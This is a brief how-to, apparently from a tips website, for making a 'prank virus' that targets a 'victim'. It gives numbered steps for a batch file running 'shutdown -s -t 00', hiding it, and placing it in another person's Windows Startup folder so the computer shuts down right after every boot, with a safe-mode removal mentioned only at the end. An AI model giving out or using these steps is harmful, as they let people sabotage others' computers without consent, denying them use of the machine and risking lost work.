Make a prank virus

Follow these instructions, awesome results, the victim will surely suffer. ;)

1)Open a notepad (You can do this by clicking Start->Run and typing notepad in the prompt box)
2)Type in whatever given in bracket (shutdown -s -t 00) (You can also make a popup box with a name if you increase the number after -t (seconds) to a longer time, all you have to do is after you write the number for time, type -c "message" yes, you need quotes.)
3)Save this file as anyname.bat (You can give any name of your choice for anyname like virus but extention.bat is must So save as "virus.bat").
4)Click Start->All programs here on this sub-menu right click on "start up" and select explore from options given. This opens "start up" folder now cut your anyname.bat( in example virus.bat) and paste it into this start up folder opened.# For more effectiveness right click on your anyname.bat file go to properties and select the option Hidden and press OK
5)Know that now you have planted a prank and annoying virus into the computer.

6)Understand that next time this computer is turned on, by default settings(if user has not changed) your batch file(anyname.bat) in start up folder is executed automatically which commands to shutdown computer in 0 seconds(i.e., immediately).

How to reverse it? just boot in safe mode and delete that startup file... ;)